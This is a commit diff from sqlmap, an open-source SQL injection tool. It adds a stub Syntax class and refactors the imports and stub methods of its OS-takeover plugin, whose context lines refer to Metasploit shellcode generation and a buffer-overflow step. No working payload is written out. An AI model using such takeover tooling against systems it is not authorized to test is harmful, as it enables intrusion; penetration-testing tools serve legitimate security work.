plugins/generic/syntax.py
Normal file
45
plugins/generic/syntax.py
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 021101301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
|
|
||||||
|
class Syntax:
|
||||||
|
"""
|
||||||
|
This class defines generic syntax functionalities for plugins.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def unescape(expression, quote=True):
|
||||||
|
errMsg = "'unescape' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression):
|
||||||
|
errMsg = "'escape' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
|
@ -22,31 +22,22 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
|
||||||
from lib.core.common import decloakToNamedTemporaryFile
|
|
||||||
from lib.core.common import fileToStr
|
|
||||||
from lib.core.common import getDirs
|
|
||||||
from lib.core.common import getDocRoot
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import hexencode
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapNotVulnerableException
|
from lib.core.exception import sqlmapNotVulnerableException
|
||||||
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||||
from lib.core.shell import autoCompletion
|
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
from lib.takeover.abstraction import Abstraction
|
from lib.takeover.abstraction import Abstraction
|
||||||
from lib.takeover.metasploit import Metasploit
|
from lib.takeover.metasploit import Metasploit
|
||||||
from lib.takeover.registry import Registry
|
from lib.takeover.registry import Registry
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
class Takeover(Abstraction, Metasploit, Registry):
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
"""
|
"""
|
||||||
This class defines generic OS takeover functionalities for plugins.
|
This class defines generic OS takeover functionalities for plugins.
|
||||||
"""
|
"""
|
||||||
|
@ -268,6 +259,11 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||||
self.bof()
|
self.bof()
|
||||||
|
|
||||||
|
def uncPathRequest(self):
|
||||||
|
errMsg = "'uncPathRequest' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def __regInit(self):
|
def __regInit(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user